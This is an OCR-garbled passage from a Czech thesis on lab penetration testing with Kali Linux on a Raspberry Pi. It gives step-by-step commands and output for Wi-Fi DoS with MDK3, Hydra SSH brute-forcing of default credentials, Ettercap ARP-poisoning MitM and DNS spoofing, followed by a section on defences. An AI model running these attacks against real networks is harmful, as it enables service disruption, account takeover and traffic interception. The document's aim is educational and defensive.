legitimnich klientskych stanic k danému pristupovému bodu. V tomto konkrétnim pripadé
je ale cilovy pistupovy bod vidi tomuto ttoku imunni. Utok je tedy nedspésny a sitové

komunikace neni odeprena.

root@Kkali: ~ e @ 0

File Edit View Search Terminal Help
:~# mdk3 wlan@mon a -a 14:DD:A9:CE:8B:E0@ -m

AP 14:DD:A9:CE:8B:E0 is responding!

AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 500 clients connected!
AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 1000 clients connected!
AP 14:DD:A9:CE:8B:EO seems to be INVULNERABLE!

Device is still responding with 1500 clients connected!
AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 2000 clients connected!
AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 2500 clients connected!
AP 14:DD:A9:CE:8B:EO seems to be INVULNERABLE!

Device is still responding with 3000 clients connected!
AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 3500 clients connected!
AP 14:DD:A9:CE:8B:E0 seems to be INVULNERABLE!

Device is still responding with 4000 clients connected!

Obrazek 16: Pouziti nastroje MDK3 v rezimu Authentication DoS.

Pti pouziti upraveného piikazu, ktery je uveden nize, uz ale pristupovy bod situaci
nezvladl a prestal reagovat. Pro nové legitimni klienty je sit viditelna, ale nelze se k ni
pripojit. Rozdil je v pouziti pfepinace i, ktery zajistuje reinjektovani zachycenych dat,
pricemz stavajici klienti ziistavaji takzvané udrzovani nazivu. Tim se rozumi, zZe jsou k siti

sice pripojeni, komunikovat vsak nemohou.
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$ mdk3 wlanOmon a -i 14:DD:A9:CE:8B:EO0

10.6 Kontinualni prerusovani provozu

Nastroj MDK3 nabizi jesté jeden specificky rezim ttoku, ktery se nazyva Michael shutdown
exploitation. PTi itoku s timto rezimem dochéazi ke kontinualnimu prerusovani provozu
na celé siti v takzvanych davkéach. Pocet paketi zaslanych v jedné dévce je standardné
nastaven na sedmdesét, piipadné jej lze upravit pouzitim piepinace n. Casové rozestupy
mezi jednotlivymi davkami jsou standardné nastaveny na deset vterin. Lze je vSak upravit
pomoci prepinace w.

Pro realizaci itoku je nutné pouzit nize uvedeny prikaz, ve kterém se parametrem
specifikuje pouzity rezim, tedy m a déle se pomoci prepinace t upresni MAC adresa

pristupového bodu, ke kterému je cilové Raspberry Pi pripojeno.
$ mdk3 wlanOmon m -t 14:DD:A9:CE:8B:E0

Po kratké chvili se veskery provoz na dané siti zastavi. Avsak diky davkam je na dany

cas opét obnoven a pak znovu prerusen.

File Edit Tabs Help

1cmp
icmp_
fom in-T .1e100. (17 7 ) 1lcmp
from p in-f .1e100. (17 )i ilcmp_
icmp

icmp_

icmp

Obrézek 17: Pouziti nastroje MDK3 v rezimu Michael shutdown exploitation.
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10.7 Prolomeni SSH pristupu

Pripojeni pres SSH je uzite¢ny zpusob jak vzdalené spravovat a ovladat nejen Raspberry
Pi. Tento ttok muze utocnik vyuzit napriklad poté, co se mu podaii pripojit se do cilové
sité at uz prolomenim nedostatecného zabezpeceni Wi-Fi sité, pomoci WEP nebo WPA,
s pouzitim nastroji aircrack-ng ¢i wifite nebo pokud se pripoji sitovym kabelem
napriklad do switche.

Prvni ¢innosti itoc¢nika bude zjisténi IP adresy vychozi brany a skenovani sité. IP

adresu vychozi brany lze zjistit pomoci prikazu:
$ route -n

Pro skenovani sité za tucelem zjisténi potencialnich hostii, ktefi jsou zranitelni, 1ze vyuzit
naptiklad néstroj Nmap. Pro prohledani sité je nutné znat IP adresu vychozi brany, kterd

se vyuzije v nésledujicim prikazu:
$ nmap -sP 192.168.1.1/24

Po dokonceni skenovani dostaneme uceleny vypis zkoumanych adres a pripadnych hosti,

ktetri byli v dané siti nalezeni.

root@kali: ~ (— I - ]
File Edit View Search Terminal Help

Host is up (0.00012s latency).

p scan report for raspberrypi (192.168.1.45)
is up (0.0088s latency).

0 scan report for 192.168.1.46

is up (0.00014s latency).
p scan report for 192.168.1.47
is up (0.000094s latency).

Obrézek 18: Skenovani sité pomoci nastroje Nmap.

Na obrazku vyse je vidét nalezené Raspberry Pi s [P adresou 192.168.1.45, které
predstavuje obét. Po nalezeni potencialni obéti se tto¢nik zaméri na zjisténi aktivnich
zranitelnych sluzeb pomoci skenovani portit zvoleného cile. Skenovani portti provedeme

nasledujicim prikazem, ve kterém specifikujeme IP adresu cile:

$ nmap -sV 192.168.1.45
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Nmap nasledné oskenuje oteviené porty, pricemz vysledkem bude vypis konkrétnich

aktivnich sluzeb, jejich stavem a ¢isly port na kterych bézi.

root@Kkali: ~ e @ 0

File Edit View Search Terminal Help
:~# nmap -sV 192.168.1.45

Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-11 05:58 EDT
Nmap scan report for raspberrypi (192.168.1.45)
Host is up (0.011s latency).
Not shown: 999 closed ports
STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7pl Raspbian 5+deb8u3 (protocol 2.0)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Obrézek 19: Skenovani portit pomoci nastroje Nmap.

Na vyse uvedeném obrazku je vidét nalezend aktivni sluzba SSH na portu 22, na kterou
muzeme zautocit. Pro SSH pripojeni je nutné znat IP adresu, prihlasovaci jméno a heslo.
Pro zjisténi prihlasovacich idaji mizeme vyuzit naptiklad specializovany nastroj Hydra.
Nastroj mimo jiné obsahuje podporu pro slovnikovy tutok. Muzeme vyuzit jak vlastniho
vytvoreného slovniku, tak jiz pritomného a pomérné objemného slovniku rockyou. txt,

ktery se nachazi v:
$ \usr\sharel\wordlists

Pro pouziti tohoto slovniku je nutné jej nejdrive rozbalit, protoze se nachazi v archivu.

Pro rozbaleni mizeme vyuzit napiiklad gedit, a to v prikazu:
$ gedit -d wordlist.gz

7, diivodu velmi velkého objemu tohoto slovniku vsak samotny proces ziskani prihlasovacich
tdaji mize trvat velmi dlouho. Utok realizujeme, s vyuzitim flagii L a P pro nacteni
uzivatelskych jmen a hesel ze souboru, IP adresy cile a prepinace t pro specifikaci poc¢tu

vlaken, nize uvedenym prikazem:

$ hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/

wordlists/rockyou.txt 192.168.1.45 -t 4 ssh

V pripadé tspésné shody je uzivatelské jméno a heslo vypsdno do okna Terminalu.
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root@Kkali: ~ e O O
File Edit View Search Terminal Help
:~# hydra -L /usr/share/wordlists/myWordlist.txt -P /fusr/share/wordlistjg
s/myWordlist.txt 192.168.1.45 -t 4 ssh
ydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

ydra (http://www.thc.org/thc-hydra) starting at 2017-07-11 06:38:00
[DATA] max 4 tasks per 1 server, overall 64 tasks, 16 login tries (L:4/p:4), ~0

ries per task

[DATA] attacking service ssh on port 22

[22][ssh] host: 192.168.1.45 login: pi password: raspberry
1 of 1 target successfully completed, 1 valid password found

ydra (http://www.thc.org/thc-hydra) finished at 2017-07-11 06:38:

Obréazek 20: Ziskani prihlasovacich idaji pomoci néstroje Hydra.

Po prolomeni prihlasovacich tdaji ndm nyni jiz nebrani v SSH pripojeni na cilové

Raspberry Pi.

pi@raspberrypi: ~ @0 9.
File Edit View Search Terminal Help
:~# ssh pi@l192.168.1.45
he authenticity of host '192.168.1.45 (192.168.1.45)' can't be established.
ECDSA key fingerprint is SHA256:ZTEFMwmkfRZOUZrLUWS/UrfpDY7BuZNLEmu6iBxIPmI.
Are you sure you want to continue connecting (yes/no)? yes

arning: Permanently added '192.168.1.45' (ECDSA) to the list of known hosts.
pi@192.168.1.45"'s password:

he programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul 11 09:57:16 2017

SSH is enabled and the default password for the 'pi' user has not been changed.
his is a security risk - please login as the 'pi' user and type 'passwd' to set
a new password.

pi@raspberrypi:~ $

Obréazek 21: SSH pripojeni.

10.8 MitM pomoci ARP poisoning

Tento konkrétni titok je, podobné jako predchézejici, provadén zevnitt sité, ve které je
piftomné Raspberry Pi vystupujici v roli obéti. Utok typu Man in the Middle znamen

v prekladu c¢lovék uprostred. Tim bude v tomto pripadé Raspberry Pi ttoc¢nika. Nez
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prejdeme k realizaci samotného titoku, je nejdiive nutné znat jeho princip. Cilem tutoku
je, aby veskera komunikace, ktera probiha mezi obéti a pristupovym bodem, prochézela
skrze Raspberry Pi ttoc¢nika. A proto vyuzijeme takzvany ARP poisoning. ARP protokol
slouzi slouzi ve standardni komunikaci k ziskani MAC adresy na zakladé IP adresy a tuto
problematiku ma na starost router. ARP poisoning spociva v ,presvédceni® tohoto aktivni
sitového prvku o tom, ze ma komunikaci zasilat na MAC adresu uto¢nika. Tato komunikace
bude nasledné od utocnika preposlana dale tak, aby ,fetéz nebyl prerusen® a obéf se
o provedeni ttoku nedozvédéla.

Pro provedeni utoku potifebujeme znat IP adresy pristupového bodu a obéti. Za timto
ucelem muzeme vyuzit naptiklad nastroj Netdiscover, ktery nam pomuze zjistit aktivni
sifova zatizeni v dané siti na zakladé porovnani MAC adresy s databéazi OUI, a to konkrétné

pomoci nasledujiciho prikazu:
$ netdiscover -i wlanO -r 192.168.1.0/24

V prikazu uvedeném vyse znaci prepinac¢ i pouzité sitové rozhrani a prepina¢ r pak znaci

zkoumany rozsah.

root@kali: ~ @ O ¢

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View: Unique Hosts

91 Captured ARP Req/Rep packets, from 8 hosts. Total size: 5262
MAC Address Count n  MAC Vendor / Hostname

Ubiquiti Networks Inc.
Unknown vendor
ASUSTek COMPUTER INC.
Unknown vendor
Unknown vendor
Unknown vendor
Unknown vendor
Unknown vendor

Obrazek 22: Pouziti nastroje Netdiscover.

Miize nastat situace, kdy ndm Netdiscover neposkytne dostatecné mnozstvi informaci.
Jako alternativu mizeme vyuzit nastroj Zenmap, coz je grafickd verze nastroje Nmap, kde
po jeho spusténi zvolime rezim skenovani a do pole Target zadame rozsah, ktery chceme

prozkoumat. Naptiklad tedy rezim Quick scan a rozsah 192.168.1.1-200.
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Nmap Output Ports / Hosts Topology | Host Details | Scans

V raspberrypi (192.168.1.45)|
P Host Status

W Addresses
IPvd: 192.168.1.45

IPve: Mot available
MAC: Mot available

¥ Hostnames

MName - Type: raspberrypi - PTR

P Comments

Obréazek 23: Pouziti nastroje Zenmap.

Nyni jiz mame IP adresu obéti, kterd je 192.168.1.45. Disponujeme tedy potiebnymi
prerekvizitami a mizeme tak postoupit k realizaci samotného utoku. Realizace bude
provedena pomoci zndmého néstroje pro utoky typu MitM, kterym je Ettercap. Pred
pouzitim nastroje je nejprve nutné upravit jeho konfiguraci. Jesté pred tim ale v Kali
Linux povolime IP forwardinﬂ To je velmi dilezité, protoze IP forwarding zajisti, ze
obét bude v prubéhu utoku stale schopna komunikovat skrze sif. Aktivaci IP forwardingu

provedeme prikazem:
$ echo 1 > /proc/sys/net/ipv4/ip_forward

Aktivace pomoci vyse uvedeného prikazu je pouze docasna. IP forwarding po restartovani
Kali Linux jiz nebude déle aktivni. Aktivaci IP forwardingu poté zkontrolujeme pomoci

prikazu:
$ cat /proc/sys/net/ipv4/ip_forward

Pokud prikaz vrati hodnotu 1, je IP forwarding aktivni. Nyni jiz k samotné konfiguraci
nastroje Ettercap. Konfiguraéni soubor etter.conf otevieme naptiklad v textovém

editoru Leafpad pomoci nasledujiciho ptikazu:

$ leafpad /etc/ettercap/etter.conf

10Proces, ktery slouzi k uréeni cesty, kterou lze odeslat paket nebo datagram.
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Nejprve povolime pouziti IP tables, a to odkomentovanim dvojice fadki redir command on
a redir_command_off, které se nachazi v sekci ,if you use ip tables* a poté jesté upravime
hodnoty proménnych ec_uid a ec_gid, které specifikuji privilegia po startu. Obéma
proménnym nastavime hodnotu 0. Aplikace tak pobézi s pravy admin. Nyni spustime

nastroj Ettercap z programové nabidky nebo pouzitim prikazu:
$ ettercap -G

Pro zahajeni procesu odposlechu zvolime v nabidce Sniff -> Unified sniffing. Poté se
na obrazovce objevi nové okno, ve kterém si zvolime sitové rozhrani. Tedy napriklad wlanO.
Nyni zobrazime aktivni sitova zatizeni, a to pomoci menu Hosts -> Scan for hosts. Na-
lezené hosty nasledné zobrazime pres menu Hosts -> Hosts list nebo pomoci klavesové

zkratky Ctrl+H.

ettercap 0.8.2 e ® O
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x
IP Address MAC Address Description

192.168.1.1 : DC:SF:DB:45:BA:BC
192.168.1.9  AC:87:A3:01:44:CE
192.168.1.10 B8:27:EB:10:1F:CD

192.168.1.16 : 6C:40:08:AF:A3:BC
192.168.1.45 :B8:27:EB:10:1F:CD
192.168.1.254: 14:DD:A9:CE:8B:ED

| Delete Host || Add to Target 1 || Add to Target 2

DHCP: [AC:87:A3:01:44:CE] REQUEST 192.168.1.9 =
DHCP: [B8:27:EB:10:1F:CD] DISCOVER

DHCP: [B8:27:EB:10:1F:CD] REQUEST 192.168.1.10

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

6 hosts added to the hosts list... I

Obréazek 24: Nalezeni hostti v nastroji Ettercap.

Protoze jiz zndme IP adresy obéti a pristupového bodu, miizeme je nastavit jako cil.
Piistupovy bod bude Target 1 a Raspberry Pi obéti Target 2. Utok zahdjime v menu
Mitm -> ARP poisoning a v novém okné vybereme Sniff remote conections. Zachyta-
vanou komunikaci zobrazime pomoci menu View -> Connections, jeji detaily pak dvojkli-

kem na danou komunikaci. Utok ukonéime pomoci menu Mitm -> Stop mitm atack(s).
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ettercap 0.8.2 e ® O
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x |[Connections x || Connection data x

Host filter Protocol filter Connection state filter

| | « [ TCP & UDP [ Other [ Active @& Idle @ Closing & Closed & Killed

Host Port |- Host Port Proto State  TX Bytes RX Bytes
192.168.1.45 39450 - 172.217.19.195 443 active 1153 153825
192.168.1.45 68 - 192.168.1.1 67 UDP idle 335 305
192.168.1.45 42260 - 192.168.1.1 53 UDP idle 31 171
192.168.1.45 48416-- 77.75.79.39 443 'TCP opening: 0 0
192.168.1.45 48845 - 192.168.1.1 53 UDP :idle 31 47
192.168.1.45 48418 - 77.75.79.39 443 TCP opening 0 0

Obrazek 25: Zachytavani komunikace pomoci nastroje Ettercap.

Tento ttok miize byt dale vyuzitelny i za pomoci jinych néstroji. Prikladem jsou
nastroje Urlsnarf nebo Driftnet. Prvni ze zminénych nastroji slouzi k vypisovani
HTTP GET dotazu, diky ¢emuz lze mit prehled o navstivenych webovych strankéch. Druhy
zminény nastroj pak v HTTP komunikaci obéti vyhledava nactené obrazky, které si itoc¢nik

muze zobrazit.

10.9 DNS spoofing

S vyuzitim nastroje Ettercap muzeme realizovat i itok DNS spoofing. Cilem tohoto
utoku je podvrzeni IP adresy, ktera je vracena v paketu jako odpovéd na zadost o preklad
doménového jména na IP adresu. Miizeme tak obéf presmérovat na jakoukoliv jinou
webovou stranku nebo na vlastni vytvorenou stranku na webovém serveru, ktery bézi
primo v Kali Linux.

Pro dspésnou realizaci ttoku je nutné znat IP adresu obéti, a také vlastni IP adresu
nebo jinou IP adresu, kam chceme obéf presmérovat. Dale je nutné nakonfigurovat soubor

etter.dns, ktery se nachazi v adresari:
$ /etc/ettercap/
Soubor si otevieme naptiklad pomoci editoru Leafpad prikazem:

$ leafpad /etc/ettercap/etter.dns
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V souboru pridame zaznam slozeny z doménového jména a IP adresy. Doménové jméno,
na které se obét pokusi pristoupit presmérujeme na danou IP adresu. Pokud chceme
presmérovavat vsechna doménova jména, zadand obéti, uvedeme misto doménového jména
znak *. Jako Target 1 zvolime IP adresu obéti. Poté spustime nastroj Ettercap, zvo-
lime Start -> Start sniffing a vybereme rozhrani, tedy naptiklad wlanOmon. Poté
vyhledame aktivni hosty pomoci menu Hosts -> Scan for hosts a zobrazime je po-
moci klavesové zkratky Ctrl+H. Zahajeni utoku je dvoukrokové. Nejprve v menu Mitm
zvolime ARP Poisoning...a v novém okné zvolime Sniff remote connection. Poté ak-
tivujeme plugin pro DNS spoofing v menu Plugins -> Manage the plugins. V novém
okné dvojklikem aktivujeme plugin s ndzvem dns_spoof.

ettercap 0.8.2 e ® 0
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x | Plugins =

Name Version Info
arp_cop 11 Report suspicious ARF activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
* dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 10 Search connections on a switched LAN

find_ettercap 2.0 Try to find ettercap activity

find_ip 1.0 Search an unused IP address in the subnet
finger 16 Fingerprint a remote host v
GROUP 1:192.168.1.44 B8:27:EB:45:4A:98 -

GROUP 2 : ANY (all the hosts in the list)

Activating dns_spoof plugin...

DHCP: [B8:27:EB:45:4A:98] REQUEST 192.168.1.44

DHCP: [192.168.1.1] ACK : 192.168.1.44 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 u

Obrazek 26: Aktivace pluginu dns_ spoof v nastroji Ettercap.

Nyni se doménova jména, kterd obét zada, presmérovavaji na IP adresu 192.168.1.45,
coz je v dobé provadéni utoku IP adresa ttocnika. V Kali Linux nyni aktivujeme webovy

server Apache pomoci nésledujiciho prikazu:
$ service apache2 start

Pokud nyni obét zada do webového prohlizece adresu www.google.com, je presmérovana

na IP adresu utocnika a zobrazi se defaultni uvitaci stranka webového serveru Apache?2.
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Activating dns_spoof plugin...

DHCP: [B8:27:EB:45:4A:98] REQUEST 192.168.1.44

DHCP: [192.168.1.1] ACK : 192.168.1.44 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1
dns_spoof: A [chromium-i18n.appspot.com] spoofed to [192.168.1.45]
dns_spoof: A [translate.googleapis.com] spoofed to [192.168.1.45]
dns_spoof: A [github.com] spoofed to [192.168.1.45]

dns_spoof: A [lcevhwkqg] spoofed to [192.168.1.45]

dns_spoof: A [xhcqunuyajbrb] spoofed to [192.168.1.45]

dns_spoof: A [vcllkwiaoyosj] spoofed to [192.168.1.45]

dns_spoof: A [github.com] spoofed to [192.168.1.45]

dns_spoof: A [ssl.gstatic.com] spoofed to [192.168.1.45]

dns_spoof: A [github.com] spoofed to [192.168.1.45]

dns_spoof: A [seznam.cz] spoofed to [192.168.1.45]

Obrazek 27: Ukazka DNS spoofingu v nastroji Ettercap.

G Apache2 Debian [ x
€ C 0t googlecom %|m o

(a Apache2 Debian Default Page

This is the default welcome page used to test the comect operation of the Apache? server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var /www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is cumently unavailable due to maintenance. If the problem persists, please contact the site's
administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and spit into
several files optimized for interaction with Debian tools. The configuration system is fully documented in
Jusr/share/doc/apache2/README. Debian. gz. Refer to this for the full documnentation. Docurnentation
for the web server itself can be found by accessing the manual if the apache2-doc package was installed
on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

setc/apache2/
|-- apache2.conf
‘-~ ports.conf
abled

/- mod:
| *.load |
‘-~ *.conf
|-- conf-enabled
‘-- *.conf

|-~ sites-enabled
I - *.conf |

«  apache2. conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

«  ports. conf is always included from the main configuration fie. It is used to determine the listening
ports for incoming connections, and this file can be customized anytime.

«  Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration snippets which manage modules, global configuration fragments, or virtual
host configurations, respectively.

«  They are activated by symiinking available configuration files from their respective *-available/
counterparts. These should be managed by using our helpers a2enmod, a2dismod, aZensite,
a2dissite, and azenconf, a2disconf . See their respective man pages for detailed
information!

«  The binary s called apache2. Due to the use of environment variables, in the default configuration,
apache? needs to be started/stopped with /etc/init.d/apache2 or apache2ctl. Calling
Iusr/bin/apache2 directly will not work with the default configuration

Obrazek 28: Ukazka presmérovani obéti.
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11 Shrnuti a moznosti obrany

V ramci testovani bylo provedeno celkem osm vybranych utokt, z nichz vétsina byla

provedena tspésné. Tyto ttoky jsou prehledné shrnuty v nize uvedené tabulce.

Tabulka 1: Shrnuti provedenych utokt

Provedeny ttok Misto provedeni Usp&Snost Poznamka
Odfiznuti (Aireplay-ng) Vnéjsi Ano -
Odriznuti (MDKS3) Vnéjsi Ano -
Standardni DoS Vnéjsi Ne -
Inteligentni DoS Vnéjsi Ano -
Kontinualni prerusovani  Vnéjsi Ano -
Prolomeni SSH Vnitini Ano -
MitM Vnitini Céstetné  Pouze HTTP
DNS spoofing Vnitini Ano -

11.1 Odriznuti cilové stanice

Oba ttoky, jejichz cilem bylo odifznuti cilové stanice od sité, probéhly tspésné. Resenim
je implementace standardu IEEE 802.11w. Tento standard ze strany pristupovych bodt
a koncovych stanic zajistuje ignorovani nepodepsanych pozadavki pro odpojeni neboli

deautentizacnich rdmei.

11.2 DoS

V pripadé pouziti zakladniho DoS utoku probéhl ttok netispésné. Pristupovy bod stale
reagoval a komunikace tak nebyla nijak znehodnocena ani prerusena. S vyuzitim modifikace
postupu s reinjektovanim paketit byl DoS utok jiz ispésny. Obrana proti DoS utokiim
neni prilis snadna. Zakladni obranu predstavuje vyuziti firewallovych pravidel v pripadé,
ze utok probiha z omezeného poctu IP adres. Pokrocilejsi obranou je pak implementace

IPS a IDS systémi.
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11.3 Kontinualni prerusovani provozu

P1i tomto utoku bylo vyuzito pouzitého bezpecnostniho protokolu TKIP, ktery je zastaraly
a v dnesni dobé jiz neni povazovan za bezpecny. Obranou proti tomuto utoku je pouziti

novéjsiho standardu pokrocilého Sifrovani AES na strané pristupového bodu.

11.4 Prolomeni SSH pristupu

Tento utok probéhl tspésné. Divodem byly slabé prihlasovaci tdaje, a to zejména heslo,
které neodpovidalo zdsadam pro tvorbu silného hesla. Resenim tedy je zvadZeni nutnosti
pouziti SSH pristupu a pripadné vytvoreni nového silného hesla tak, aby se riziko prolomeni

pristupu co nejvice snizilo.

11.5 MitM

Utok MitM pomoci ARP spoofingu byl tspésny castecné. Komunikaci sice bylo mozné
sledovat, ale pouze tu, kterd probihala nesifrované pomoci HTTP. ReSenim je tedy pro-
vozovani veskeré komunikace skrze HT'TPS s divéryhodnymi certifikaty. Obranu proti
ARP poisoning pak predstavuje staticky ARP zaznam. Po jeho pouziti dojde k ignorovani

pakett od utocnika.

11.6 DNS spoofing

Utok typu DNS spoofing probéhl tspésné. Obranou proti tomuto ttoku je napiiklad
zakazani odpoveédi na DNS dotazy zvenéi nebo implementace zabezpeceného rozsiteni
systému doménovych jmen, takzvaného DNSSEC, které zajistuje duvéryhodnost udaji,

které jsou ziskavany z DNS.
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Z.aveér

Tato diplomova préce je rozdélena zhruba na dvé poloviny, teoretickou a praktickou. Cilem
teoretické c¢asti bylo seznameni s nejznaméjsimi linuxovymi distribucemi a nastroji, které
se vyuzivaji k penetra¢nimu testovani, spolu s podrobnéjsim predstavenim distribuce Kali
Linux. Dalsi ¢ast byla vénovana jednodeskovému pocitaci Raspberry Pi a jeho hardwarovym
a softwarovym moznostem. Nedilnou soucasti je sezndmeni s metodikami penetrac¢niho
testovani, statistikami kyberutoku, a také s typy utoku, které se v praxi vyskytuji.

Cilem praktické c¢asti bylo pak zprovoznéni linuxové distribuce Kali Linux, v jednom ze
dvou dostupnych jednodeskovych pocitact Raspberry Pi 3, pro ucely samotného provedeni
vybranych ttokt v ramci penetracniho testovani. Druhé Raspberry Pi 3 predstavovalo obét
pripojenou k pocitacové siti. Vybrané utoky byly provedeny v ramci bezdratové pocitacové
site, jejiz podporu posledni model Raspberry Pi obsahuje diky vestavéné bezdratové sitové
karté. Testovani probéhlo z pohledu uvnitt i vné dané bezdratové sité. Soucasti praktické
¢asti je také prehledné vyhodnoceni provedenych utokt a dale popis moznosti obrany pro
témto utoklim.
tykal bezdratové sitové karty na Raspberry Pi, které predstavovalo tto¢nika. Vestavéna
Wi-Fi karta bohuzel neumoznuje, bez nutnosti slozité upravy firmwaru, prepnuti do rezimu
monitorovaciho neboli promiskuitniho médu. Na tomto Raspberry Pi byl z tohoto divodu
pouzit externi USB Wi-Fi adaptér. I s timto adaptérem se vSak sporadicky vyskytly
problémy s vyhledanim zarizeni v siti, jejichz feSenim bylo odpojeni a pripojeni Wi-Fi
adaptéru, vypnuti a zapnuti monitorovaciho médu nebo zména USB portu. I pfes zminéné
problémy byla tato prace tspésné dokoncena.

Tato diplomova préce je po predchozich velmi dobrych zkusenostech napsana pomoci

sazeciho systému IXTEX.
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